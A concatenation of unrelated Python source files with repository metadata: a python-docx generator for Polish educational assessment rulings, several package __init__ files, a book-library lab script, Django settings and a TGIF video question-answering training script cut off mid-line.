bold=True, ) add_line(self.document, 8) normal_justify( self.document, "Działając na podstawie art. 127 ust. 10 ustawy z dnia 14 grudnia" " 2016 r. – Prawo oświatowe (Dz. U. z 2017 r. poz. 59 i 949)", size=9 ) applicant(self.document, self.value["applicant_n"]) staff(self.document, self.value) add_line(self.document, 12) normal_center( self.document, "orzeka o potrzebie indywidualnego obowiązkowego rocznego" " przygotowania przedszkolnego", size=12, bold=True, ) add_line(self.document, 10) text_with_tag( self.document, self.value["name_n"], "(imię/imiona i nazwisko dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["birth_date"] + "r., " + self.value["birth_place"], "(data i miejsce urodzenia dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["pesel"], "(numer PESEL dziecka, a w przypadku braku numeru PESEL – seria" " i numer dokumentu potwierdzającego jego tożsamość)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["zip_code"], " ", self.value["city"], ", ", self.value["address"] ]), "(adres zamieszkania dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value['school_name'], ", ", self.value['school_sort'], ", ", self.value['school_city'], ", ", self.value['school_address'] ]), "(nazwa i adres przedszkola, szkoły podstawowej, w której" " zorganizowano oddział przedszkolny, lub innej formy wychowania" " przedszkolnego)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["applicant_n"], ", ", self.value["applicant_zipcode"], " ", self.value['applicant_city'], ", ", self.value['applicant_address'] ]), "(imiona i nazwiska rodziców& oraz adres ich zamieszkania)" ) add_line(self.document, 10) normal_center( self.document, "na okres&: {}".format(self.value['timespan_ind']), bold=True ) add_line(self.document, 10) reason_individual_preschool(self.document, self.value['reason'][0]) page_break(self.document) normal_center( self.document, "Diagnoza", size=10, bold=True ) normal_justify( self.document, "Zespół Orzekający określa ograniczenia w funkcjonowaniu dziecka" " wynikające z przebiegu choroby lub procesu terapeutycznego:", size=8 ) add_line(self.document, 10) normal_center( self.document, "Zalecenia", size=10, bold=True ) normal_left(self.document, "Zespół Orzekający zaleca:") recommendations(self.document, self.value['recommendations']) normal_center( self.document, "Dodatkowe informacje", size=10, bold=True ) normal_center( self.document, "(w zależności od potrzeb podaje się dodatkowe istotne informacje" " o dziecku, w szczególności o wspomagającej lub alternatywnej" " metodzie komunikacji (AAC), którą posługuje się dziecko)", size=8 ) add_line(self.document, 10) normal_justify( self.document, "W przypadku wydania nowego orzeczenia o potrzebie indywidualnego" " obowiązkowego rocznego przygotowania przedszkolnego należy" " wskazać okoliczności, które Zespół Orzekający uznał za istotne" " dla rozstrzygnięcia, oraz wyjaśnić powody, na podstawie których" " stwierdzono potrzebę wydania nowego orzeczenia&:", size=10 ) add_line(self.document, 10) normal_bold( self.document, "Orzeczenie uchyla orzeczenie nr ...... o potrzebie" " indywidualnego obowiązkowego rocznego przygotowania" " przedszkolnego z dnia .............................. wydane" " przez..................................................&.\n" "Od niniejszego orzeczenia przysługuje odwołanie do Kuratora" " Oświaty w ........................za pośrednictwem Zespołu" " Orzekającego, który wydał orzeczenie, w terminie 14 dni od" " dnia jego doręczenia." ) normal_left(self.document, "\n\n\n") normal_right( self.document, "(podpis Przewodniczącego Zespołu Orzekającego) ", size=8 ) insert_reciver(self.document, self.value) def issue_development_support(self): normal_right( self.document, "Grodzisk Wielkopolski, {}".format( self.value["staff_meeting_date"] ), size=10, bold=False ) add_line(self.document, 2) normal_center( self.document, "OPINIA NR \n o potrzebie wczesnego wspomagania rozwoju dziecka", size=12, bold=True, ) add_line(self.document, 8) normal_justify( self.document, "Działając na podstawie art. 127 ust. 10 ustawy z dnia 14 grudnia" " 2016 r. – Prawo oświatowe (Dz. U. z 2017 r. poz. 59 i 949),", size=9 ) applicant( self.document, self.value["applicant_n"] ) staff(self.document, self.value) add_line(self.document, 12) normal_center( self.document, "stwierdza potrzebę wczesnego wspomagania rozwoju dziecka", size=12, bold=True, ) add_line(self.document, 10) text_with_tag( self.document, self.value["name_n"], "(imię/imiona i nazwisko dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["birth_date"] + "r., " + self.value["birth_place"], "(data i miejsce urodzenia dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["pesel"], "(numer PESEL dziecka, a w przypadku braku numeru PESEL – seria" "i numer dokumentu potwierdzającego jego tożsamość)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["zip_code"], " ", self.value["city"], ", ", self.value["address"] ]), "(adres zamieszkania dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["applicant_n"], ", ", self.value["applicant_zipcode"], " ", self.value['applicant_city'], ", ", self.value['applicant_address'] ]), "(imiona i nazwiska rodziców& oraz adres ich zamieszkania)" ) add_line(self.document, 10) normal_center( self.document, "na okres&: {}".format(self.value['timespan']), bold=True ) add_line(self.document, 10) normal_left( self.document, "ze względu na wykrytą niepełnosprawność.", ) page_break(self.document) normal_center( self.document, "Diagnoza", size=10, bold=True ) normal_justify( self.document, "Zespół Orzekający przedstawia diagnozę poziomu funkcjonowania" " dziecka, w tym informację o potencjale rozwojowym i mocnych" " stronach dziecka oraz występujących w środowisku barierach i" " ograniczeniach utrudniających jego funkcjonowanie:", size=8 ) add_line(self.document, 10) normal_center( self.document, "Zalecenia", size=10, bold=True ) normal_left(self.document, "Zespół Orzekający zaleca:") recommendations(self.document, self.value['recommendations']) normal_center( self.document, "Dodatkowe informacje", size=10, bold=True ) normal_center( self.document, "(w zależności od potrzeb podaje się dodatkowe istotne informacje" " o dziecku, w szczególności o wspomagającej lub alternatywnej" " metodzie komunikacji (AAC), którą posługuje się dziecko)", size=8 ) add_line(self.document, 10) normal_justify( self.document, "W przypadku wydania nowej opinii o potrzebie wczesnego" " wspomagania rozwoju dziecka należy wskazać okoliczności, które" " Zespół Orzekający uznał za istotne dla rozstrzygnięcia, oraz" " wyjaśnić powody, na podstawie których stwierdzono potrzebę" " wydania nowej opinii&:", size=10 ) add_line(self.document, 10) normal_left( self.document, "Opinia uchyla opinię nr ....o potrzebie wczesnego wspomagania" " rozwoju dziecka z dnia .......wydaną przez..........&:", size=10, bold=True ) add_line(self.document, 10) normal_bold( self.document, "Od niniejszego orzeczenia przysługuje odwołanie do Kuratora" " Oświaty w ................." " za pośrednictwem Zespołu Orzekającego, który wydał orzeczenie," " w terminie 14 dni od dnia jego doręczenia." ) add_line(self.document, 30) normal_right( self.document, "(podpis Przewodniczącego Zespołu Orzekającego) ", size=8 ) insert_reciver(self.document, self.value) def issue_profound(self): normal_right( self.document, "Grodzisk Wielkopolski, {}".format( self.value["staff_meeting_date"] ), size=10, bold=False ) add_line(self.document, 2) normal_center( self.document, "ORZECZENIE NR \n o potrzebie zajęć rewalidacyjno-wychowawczych", size=12, bold=True, ) add_line(self.document, 8) normal_justify( self.document, "Działając na podstawie art. 127 ust. 10 ustawy z dnia 14 grudnia" " 2016 r. – Prawo oświatowe (Dz. U. z 2017 r. poz. 59 i 949)", size=9 ) applicant(self.document, self.value["applicant_n"]) staff(self.document, self.value) add_line(self.document, 12) individual_group(self.document, self.value) add_line(self.document, 10) text_with_tag( self.document, self.value["name_n"], "(imię/imiona i nazwisko dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["birth_date"] + "r., " + self.value["birth_place"], "(data i miejsce urodzenia dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["pesel"], "(numer PESEL dziecka, a w przypadku braku numeru PESEL – seria" " i numer dokumentu potwierdzającego jego tożsamość)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["zip_code"], " ", self.value["city"], ", ", self.value["address"] ]), "(adres zamieszkania dziecka)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value['school_name'], ", ", self.value['school_sort'], ", ", self.value['school_city'], ", ", self.value['school_address'] ]), "(nazwa i adres podmiotu organizującego zajęcia" " rewalidacyjno-wychowawcze&)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["applicant_n"], ", ", self.value["applicant_zipcode"], " ", self.value['applicant_city'], ", ", self.value['applicant_address'] ]), "(imiona i nazwiska rodziców& oraz adres ich zamieszkania)" ) add_line(self.document, 10) normal_center( self.document, "w okresie do dnia&: {}".format(self.value['timespan_ind']), bold=True ) add_line(self.document, 10) normal_left( self.document, "ze względu na niepełnosprawność intelektualną w stopniu głębokim." ) page_break(self.document) normal_center( self.document, "Diagnoza", size=10, bold=True ) normal_justify( self.document, "Zespół Orzekający przedstawia diagnozę funkcjonowania dziecka," " z uwzględnieniem potencjału rozwojowego, mocnych stron dziecka" " oraz występujących w środowisku nauczania i wychowania barier i" " ograniczeń utrudniających jego funkcjonowanie:", size=8 ) add_line(self.document, 10) normal_center( self.document, "Zalecenia", size=10, bold=True ) normal_left(self.document, "Zespół Orzekający zaleca:") recommendations(self.document, self.value['recommendations']) normal_center( self.document, "Dodatkowe informacje", size=10, bold=True ) normal_center( self.document, "(w zależności od potrzeb podaje się dodatkowe istotne informacje" " o dziecku, w szczególności o wspomagającej lub alternatywnej" " metodzie komunikacji (AAC), którą posługuje się dziecko)", size=8 ) add_line(self.document, 10) normal_justify( self.document, "W przypadku wydania nowego orzeczenia o potrzebie zajęć" " rewalidacyjno-wychowawczych należy wskazać okoliczności, które" " Zespół Orzekający uznał za istotne dla rozstrzygnięcia, oraz" " wyjaśnić powody, na podstawie których stwierdzono potrzebę" " wydania nowego orzeczenia&:", size=10 ) add_line(self.document, 10) normal_bold( self.document, "Orzeczenie uchyla&:\n" "1) orzeczenie nr ...... o potrzebie zajęć" " rewalidacyjno-wychowawczych zespołowych/indywidualnych&" " z dnia ........wydane przez ........................\n" "2) orzeczenie nr ...... o potrzebie kształcenia specjalnego" " z dnia ........wydane przez ........................\n\n" "Od niniejszego orzeczenia przysługuje odwołanie do Kuratora" " Oświaty w ................" " za pośrednictwem Zespołu Orzekającego, który wydał orzeczenie," " w terminie 14 dni od dnia jego doręczenia." ) normal_left(self.document, "\n\n\n") normal_right( self.document, "(podpis Przewodniczącego Zespołu Orzekającego) ", size=8 ) insert_reciver(self.document, self.value) def save(self): if not os.path.exists('./orzeczenia'): os.makedirs('./orzeczenia') self.document.save('tmp.docx') def insert_footnotes(self): zipedfile = ZipFile("tmp.docx", "r") zipedfile.extractall(path="new") zipedfile.close() insert_footnotes_xml1(self.value['footnotes']) document_xml_change1() change_content_xml() change_rels() save_changed_xml( "new", os.path.join( './orzeczenia', "{} - {} orzecz.docx".format( self.value['name_n'], self.value['staff_meeting_date'] ) ) ) delete_xml_folder(path="new")

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b7529bfadda4b778d1670cbf635bdec0fc96104d

112

py

Python

plotly/graph_objs/scatter3d/marker/__init__.py

gnestor/plotly.py

a8ae062795ddbf9867b8578fe6d9e244948c15ff

[ "MIT" ]

12

2020-04-18T18:10:22.000Z

2021-12-06T10:11:15.000Z

plotly/graph_objs/scatter3d/marker/__init__.py

gnestor/plotly.py

a8ae062795ddbf9867b8578fe6d9e244948c15ff

[ "MIT" ]

27

2020-04-28T21:23:12.000Z

2021-06-25T15:36:38.000Z

plotly/graph_objs/scatter3d/marker/__init__.py

gnestor/plotly.py

a8ae062795ddbf9867b8578fe6d9e244948c15ff

[ "MIT" ]

6

2020-04-18T23:07:08.000Z

2021-11-18T07:53:06.000Z

from ._line import Line from ._colorbar import ColorBar from plotly.graph_objs.scatter3d.marker import colorbar

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1

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6

b782cf37f63988e8dc73891401078a610177de9b

2,282

py

Python

05-mylibrary-lab-next/main_old.py

iproduct/intro-python

8fcf682286dad3fc65f46ccff33aefab9c601306

[ "Apache-2.0" ]

3

2022-01-10T07:56:37.000Z

2022-02-14T16:37:56.000Z

05-mylibrary-lab-next/main_old.py

iproduct/intro-python

8fcf682286dad3fc65f46ccff33aefab9c601306

[ "Apache-2.0" ]

null

05-mylibrary-lab-next/main_old.py

iproduct/intro-python

8fcf682286dad3fc65f46ccff33aefab9c601306

[ "Apache-2.0" ]

1

2022-02-14T16:36:46.000Z

from model.book import Book from dao.book_repository import BookRepository, IntIdSequence from dao.book_repository_json import BookRepositoryJson, load_from_file if __name__ == "__main__": b1 = Book( 5, "Head First Python", "A Brain-Friendly Guide", ["Paul Barry"], "1491919531", "O'Reilly UK Ltd.", 2016, 41.82, "Software Engineering", [ "python", "introduction", "examples", "programming" ], "Want to learn the Python language without slogging your way through how-to manuals? With Head First Python, you&;ll quickly grasp Python&;s fundamentals, working with the built-in data structures and functions. Then you&;ll move on to building your very own webapp, exploring database management, exception handling, and data wrangling. If you&;re intrigued by what you can do with context managers, decorators, comprehensions, and generators, it&;s all here. This second edition is a complete learning experience that will help you become a bonafide Python programmer in no time." ) b2 = Book( 6, "Head First Python", "A Brain-Friendly Guide", ["Paul Barry"], "1491919531", "O'Reilly UK Ltd.", 2016, 41.82, description="Want to learn the Python language without slogging your way through how-to manuals? With Head First Python, you&;ll quickly grasp Python&;s fundamentals, working with the built-in data structures and functions. Then you&;ll move on to building your very own webapp, exploring database management, exception handling, and data wrangling. If you&;re intrigued by what you can do with context managers, decorators, comprehensions, and generators, it&;s all here. This second edition is a complete learning experience that will help you become a bonafide Python programmer in no time." ) # books = BookRepository(id_sequence=IntIdSequence()) books = BookRepositoryJson() books.load() books.insert(b1) books.insert(b2) print(f"Boook repository has {len(books)} books in total:") for book in books: print(book) books.persist() # books = load_from_file("books.json", Book) # print(books)

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null

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null

0

6

b787a3c997531d69c4cdb550dca01245befd7b29

27

py

Python

RDA_module/module/wage_trust_rda/__init__.py

franceoliver/workflow_demo

8c6b0fa547ebe1f74463c68bdaa277b2282dcfcb

[ "MIT" ]

null

RDA_module/module/wage_trust_rda/__init__.py

franceoliver/workflow_demo

8c6b0fa547ebe1f74463c68bdaa277b2282dcfcb

[ "MIT" ]

null

RDA_module/module/wage_trust_rda/__init__.py

franceoliver/workflow_demo

8c6b0fa547ebe1f74463c68bdaa277b2282dcfcb

[ "MIT" ]

null

from .rda_module import RDA

27

0.851852

5

27

4.4

0.8

0

0.111111

27

1

27

0.916667

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null

0

1

0

1

0

1

0

6

b795f1a8edf206ab48f1a327939b89d8240aee22

99

py

Python

src/models/classification/__init__.py

Alicegaz/torchok

7b8f95df466a25b1ad8ee93bed1a3c7516440cf4

[ "Apache-2.0" ]

8

2021-10-12T05:39:20.000Z

2022-03-31T10:55:01.000Z

src/models/classification/__init__.py

Alicegaz/torchok

7b8f95df466a25b1ad8ee93bed1a3c7516440cf4

[ "Apache-2.0" ]

1

2022-03-30T19:23:42.000Z

src/models/classification/__init__.py

Alicegaz/torchok

7b8f95df466a25b1ad8ee93bed1a3c7516440cf4

[ "Apache-2.0" ]

5

2021-11-17T07:38:28.000Z

2022-01-31T10:46:36.000Z

from . import arcmargin from . import heads from . import poolings from . import transformer_heads

19.8

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13

99

6

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0

0.161616

99

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true

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null

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1

0

1

0

1

0

6

b7f3902f28a7b23d6347c50dc1248f49f54503fb

40

py

Python

dp_fasttext/ml/supervised/__init__.py

ONSdigital/dp-fastText

f21949e6c499e08b24423dfe75600bde96b055be

[ "MIT" ]

9

2021-09-01T05:54:01.000Z

2021-11-03T08:32:21.000Z

dp_fasttext/ml/supervised/__init__.py

ONSdigital/dp-fastText

f21949e6c499e08b24423dfe75600bde96b055be

[ "MIT" ]

null

dp_fasttext/ml/supervised/__init__.py

ONSdigital/dp-fastText

f21949e6c499e08b24423dfe75600bde96b055be

[ "MIT" ]

2

2021-04-11T08:01:20.000Z

2021-12-20T12:52:16.000Z

from .supervised import SupervisedModel

20

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0.875

4

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1

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40

1

40

0.972222

0

1

0

true

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null

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1

0

null

0

1

0

1

0

1

0

6

4d624531a9a85739703e1fe7db14b03479b7f408

158

py

Python

owcsimpy/__init__.py

ardimasp/owcsimpy

155b0f26dd5e247cef9a84265256b0d70ba0b139

[ "MIT" ]

null

owcsimpy/__init__.py

ardimasp/owcsimpy

155b0f26dd5e247cef9a84265256b0d70ba0b139

[ "MIT" ]

null

owcsimpy/__init__.py

ardimasp/owcsimpy

155b0f26dd5e247cef9a84265256b0d70ba0b139

[ "MIT" ]

null

from owcsimpy import geoobjects from owcsimpy import geoutils from owcsimpy import cir from owcsimpy import misc # __all__ = [ # "geoobjects", # "geoutils"]

17.555556

31

0.772152

19

158

6.210526

0.421053

0.40678

0.610169

0

0.158228

158

8

32

19.75

0.887218

0.234177

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

4de1a55782c6e3cf9d10ce4b6cc0859190a8e8b9

136

py

Python

nkicap/tests/utils.py

Bronte-Mckeown/nkicap

38e26f0f5079e73b75f6e3e7f7d6643755f36b79

[ "MIT" ]

1

2021-05-18T09:08:00.000Z

nkicap/tests/utils.py

Bronte-Mckeown/nkicap

38e26f0f5079e73b75f6e3e7f7d6643755f36b79

[ "MIT" ]

13

2021-03-12T16:21:01.000Z

2021-06-01T16:54:25.000Z

nkicap/tests/utils.py

Bronte-Mckeown/nkicap

38e26f0f5079e73b75f6e3e7f7d6643755f36b79

[ "MIT" ]

1

2021-05-17T18:30:59.000Z

from os.path import join from pathlib import Path def get_test_data_path(): return join(Path(__file__).absolute().parent, "data")

19.428571

57

0.75

21

136

4.52381

0.666667

0

0.139706

136

6

58

22.666667

0.811966

0

0.029412

0

1

0.25

true

0

0.5

0.25

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

127cc638eadbe4dae82ded65db6fb41b8bfaa51b

306

py

Python

ucimlr/dataset.py

JKPawa/ucimlr

b7254414b3bb1bb1c178885cf50e49135c3f7f76

[ "MIT" ]

5

2020-03-25T09:03:51.000Z

2021-08-30T13:42:19.000Z

ucimlr/dataset.py

JKPawa/ucimlr

b7254414b3bb1bb1c178885cf50e49135c3f7f76

[ "MIT" ]

null

ucimlr/dataset.py

JKPawa/ucimlr

b7254414b3bb1bb1c178885cf50e49135c3f7f76

[ "MIT" ]

1

2021-06-17T15:59:05.000Z

import abc class Dataset(abc.ABC): def __len__(self): return self.x.shape[0] def __getitem__(self, i): return self.x[i], self.y[i] @property def name(self): return self.__class__.__name__ @property def num_features(self): return self.x.shape[1]

17

38

0.604575

43

306

3.906977

0.44186

0.238095

0.25

0.178571

0.238095

0

0.00905

0.277778

306

17

39

18

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false

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0

null

1

0

null

0

1

0

1

0

6

129751e1eff2b9651edbd2de70a5a0acebdc703e

399

py

Python

edbgs_django/settings/develop.py

Athanasius/edbgs-mgr

1bb5d34730c15ea486c68d82ff8dac8620da2a68

[ "CC-BY-4.0" ]

1

2022-02-09T07:12:50.000Z

edbgs_django/settings/develop.py

Athanasius/edbgs-mgr

1bb5d34730c15ea486c68d82ff8dac8620da2a68

[ "CC-BY-4.0" ]

null

edbgs_django/settings/develop.py

Athanasius/edbgs-mgr

1bb5d34730c15ea486c68d82ff8dac8620da2a68

[ "CC-BY-4.0" ]

null

# flake8: noqa from .base import * # INSTALLED_APPS += ["debug_toolbar"] # MIDDLEWARE.insert(0, "debug_toolbar.middleware.DebugToolbarMiddleware") # ============================================================================== # EMAIL SETTINGS # ============================================================================== # EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend"

26.6

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0.25

0

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399

14

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true

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1

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null

0

1

0

1

0

6

12cac70cb0d605f5a00bc4b97eebef69fc588655

24,777

py

Python

gif-qa/main.py

fanchenyou/VideoQA

66cc4ccff3113595b7a7230b1cc73063e4382e27

[ "MIT" ]

60

2019-04-10T02:39:24.000Z

2022-02-18T14:52:23.000Z

gif-qa/main.py

fanchenyou/VideoQA

66cc4ccff3113595b7a7230b1cc73063e4382e27

[ "MIT" ]

6

2019-09-03T06:17:59.000Z

2021-09-12T21:46:03.000Z

gif-qa/main.py

fanchenyou/VideoQA

66cc4ccff3113595b7a7230b1cc73063e4382e27

[ "MIT" ]

16

2019-04-10T07:01:48.000Z

2022-03-18T14:03:59.000Z

import argparse import torch import torch.nn as nn import numpy as np import os from attention_module_lite import * from make_tgif import DatasetTGIF from util import AverageMeter device = torch.device("cuda" if torch.cuda.is_available() else "cpu") def main(args): torch.manual_seed(1) ### add arguments ### args.vc_dir = './data/Vocabulary' args.df_dir = './data/dataset' args.max_sequence_length = 35 args.model_name = args.task + args.feat_type args.memory_type = '_mrm2s' args.image_feature_net = 'concat' args.layer = 'fc' args.save_model_path = args.save_path + '%s_%s_%s%s' % (args.task,args.image_feature_net,args.layer,args.memory_type) # Create model directory if not os.path.exists(args.save_model_path): os.makedirs(args.save_model_path) ###################################################################################### ## This part of dataset code is adopted from ## https://github.com/YunseokJANG/tgif-qa/blob/master/code/gifqa/data_util/tgif.py ###################################################################################### print 'Start loading TGIF dataset' train_dataset = DatasetTGIF(dataset_name='train', image_feature_net=args.image_feature_net, layer=args.layer, max_length=args.max_sequence_length, data_type=args.task, dataframe_dir=args.df_dir, vocab_dir=args.vc_dir) train_dataset.load_word_vocabulary() val_dataset = train_dataset.split_dataset(ratio=0.1) val_dataset.share_word_vocabulary_from(train_dataset) test_dataset = DatasetTGIF(dataset_name='test', image_feature_net=args.image_feature_net, layer=args.layer, max_length=args.max_sequence_length, data_type=args.task, dataframe_dir=args.df_dir, vocab_dir=args.vc_dir) test_dataset.share_word_vocabulary_from(train_dataset) print 'dataset lengths train/val/test %d/%d/%d' % (len(train_dataset),len(val_dataset),len(test_dataset)) ############################# # get video feature dimension ############################# video_feature_dimension = train_dataset.get_video_feature_dimension() feat_channel = video_feature_dimension[3] feat_dim = video_feature_dimension[2] text_embed_size = train_dataset.GLOVE_EMBEDDING_SIZE answer_vocab_size = None ############################# # get word vector dimension ############################# word_matrix = train_dataset.word_matrix voc_len = word_matrix.shape[0] assert text_embed_size==word_matrix.shape[1] ############################# # Parameters ############################# SEQUENCE_LENGTH = args.max_sequence_length VOCABULARY_SIZE = train_dataset.n_words assert VOCABULARY_SIZE == voc_len FEAT_DIM = train_dataset.get_video_feature_dimension()[1:] train_iter = train_dataset.batch_iter(args.num_epochs, args.batch_size) # Create model directory if not os.path.exists(args.save_path): os.makedirs(args.save_path) if args.task=='Count': # add L2 loss criterion = nn.MSELoss(size_average=True).cuda() elif args.task in ['Action','Trans']: from embed_loss import MultipleChoiceLoss criterion = MultipleChoiceLoss(num_option=5, margin=1, size_average=True).cuda() elif args.task=='FrameQA': # add classification loss answer_vocab_size = len(train_dataset.ans2idx) print('Vocabulary size', answer_vocab_size, VOCABULARY_SIZE) criterion = nn.CrossEntropyLoss(size_average=True).cuda() if args.memory_type=='_mrm2s': rnn = AttentionTwoStream(args.task, feat_channel, feat_dim, text_embed_size, args.hidden_size, voc_len, args.num_layers, word_matrix, answer_vocab_size = answer_vocab_size, max_len=args.max_sequence_length) else: assert 1==2 rnn = rnn.cuda() # to directly test, load pre-trained model, replace with your model to test your model if args.test==1: if args.task == 'Count': rnn.load_state_dict(torch.load('./saved_models/Count_concat_fc_mrm2s/rnn-1300-l3.257-a27.942.pkl')) elif args.task == 'Action': rnn.load_state_dict(torch.load('./saved_models/Action_concat_fc_mrm2s/rnn-0800-l0.137-a84.663.pkl')) elif args.task == 'Trans': rnn.load_state_dict(torch.load('./saved_models/Trans_concat_fc_mrm2s/rnn-1500-l0.246-a78.068.pkl')) elif args.task == 'FrameQA': rnn.load_state_dict(torch.load('./saved_models/FrameQA_concat_fc_mrm2s/rnn-4200-l1.233-a69.361.pkl')) else: assert 1==2, 'Invalid task' optimizer = torch.optim.Adam(rnn.parameters(), lr=args.learning_rate) iter = 0 if args.task=='Count': best_val_loss = 100.0 best_val_iter = 0.0 # this is a regression problem, predict a value from 1-10 for batch_chunk in train_iter: if args.test==0: video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.float32)).cuda() data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, 'Count') loss = criterion(outputs, targets) optimizer.zero_grad() loss.backward() optimizer.step() acc = rnn.accuracy(predictions, targets.int()) print('Train %s iter %d, loss %.3f, acc %.2f' % (args.task,iter,loss.data,acc.item())) if iter % 100==0: rnn.eval() with torch.no_grad(): if args.test == 0: ##### Validation ###### n_iter = len(val_dataset) / args.batch_size losses = AverageMeter() accuracy = AverageMeter() iter_val = 0 for batch_chunk in val_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_val % 10 == 0: print('%d/%d' % (iter_val, n_iter)) iter_val += 1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.float32)).cuda() # print(question_words) data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, 'Count') loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets.int()) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) if best_val_loss > losses.avg: best_val_loss = losses.avg best_val_iter = iter print('[Val] iter %d, loss %.3f, acc %.2f, best loss %.3f at iter %d' % ( iter, losses.avg, accuracy.avg, best_val_loss, best_val_iter)) torch.save(rnn.state_dict(), os.path.join(args.save_model_path, 'rnn-%04d-l%.3f-a%.3f.pkl' % ( iter, losses.avg, accuracy.avg))) if 1 == 1: ###### Test ###### n_iter = len(test_dataset) / args.batch_size losses = AverageMeter() accuracy = AverageMeter() iter_test = 0 for batch_chunk in test_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_test % 10 == 0: print('%d/%d' % (iter_test, n_iter)) iter_test+=1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] question_words = torch.from_numpy(batch_chunk['question_words'].astype(np.int64)).cuda() question_lengths = batch_chunk['question_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.float32)).cuda() data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['question_words'] = question_words data_dict['question_lengths'] = question_lengths data_dict['answers'] = answers outputs, targets, predictions = rnn(data_dict, 'Count') loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets.int()) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) print('[Test] iter %d, loss %.3f, acc %.2f' % (iter,losses.avg,accuracy.avg)) if args.test==1: exit() rnn.train() iter += 1 elif args.task in ['Action','Trans']: best_val_acc = 0.0 best_val_iter = 0.0 # this is a multiple-choice problem, predict probability of each class for batch_chunk in train_iter: if args.test == 0: video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] candidates = torch.from_numpy(batch_chunk['candidates'].astype(np.int64)).cuda() candidate_lengths = batch_chunk['candidate_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.int32)).cuda() num_mult_choices = batch_chunk['num_mult_choices'] data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['candidates'] = candidates data_dict['candidate_lengths'] = candidate_lengths data_dict['answers'] = answers data_dict['num_mult_choices'] = num_mult_choices outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) optimizer.zero_grad() loss.backward() optimizer.step() acc = rnn.accuracy(predictions, targets.long()) print('Train %s iter %d, loss %.3f, acc %.2f' % (args.task,iter,loss.data,acc.item())) if iter % 100==0: rnn.eval() with torch.no_grad(): if args.test == 0: n_iter = len(val_dataset) / args.batch_size losses = AverageMeter() accuracy = AverageMeter() iter_val = 0 for batch_chunk in val_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_val % 10 == 0: print('%d/%d' % (iter_val, n_iter)) iter_val += 1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] candidates = torch.from_numpy(batch_chunk['candidates'].astype(np.int64)).cuda() candidate_lengths = batch_chunk['candidate_lengths'] answers = torch.from_numpy(batch_chunk['answer'].astype(np.int32)).cuda() num_mult_choices = batch_chunk['num_mult_choices'] data_dict = {} data_dict['video_features'] = video_features data_dict['video_lengths'] = video_lengths data_dict['candidates'] = candidates data_dict['candidate_lengths'] = candidate_lengths data_dict['answers'] = answers data_dict['num_mult_choices'] = num_mult_choices outputs, targets, predictions = rnn(data_dict, args.task) loss = criterion(outputs, targets) acc = rnn.accuracy(predictions, targets.long()) losses.update(loss.item(), video_features.size(0)) accuracy.update(acc.item(), video_features.size(0)) if best_val_acc < accuracy.avg: best_val_acc = accuracy.avg best_val_iter = iter print('[Val] iter %d, loss %.3f, acc %.2f, best acc %.3f at iter %d' % ( iter, losses.avg, accuracy.avg, best_val_acc, best_val_iter)) torch.save(rnn.state_dict(), os.path.join(args.save_model_path, 'rnn-%04d-l%.3f-a%.3f.pkl' % ( iter, losses.avg, accuracy.avg))) if 1==1: n_iter = len(test_dataset) / args.batch_size losses = AverageMeter() accuracy = AverageMeter() iter_test = 0 for batch_chunk in test_dataset.batch_iter(1, args.batch_size, shuffle=False): if iter_test % 10 == 0: print('%d/%d' % (iter_test, n_iter)) iter_test+=1 video_features = torch.from_numpy(batch_chunk['video_features'].astype(np.float32)).cuda() video_lengths = batch_chunk['video_lengths'] candidates = torch.from_numpy(batch_chunk['candidates'].astype(np.int64)).cuda() candidate_lengths = batch_chunk['candidate_lengths'] answers = 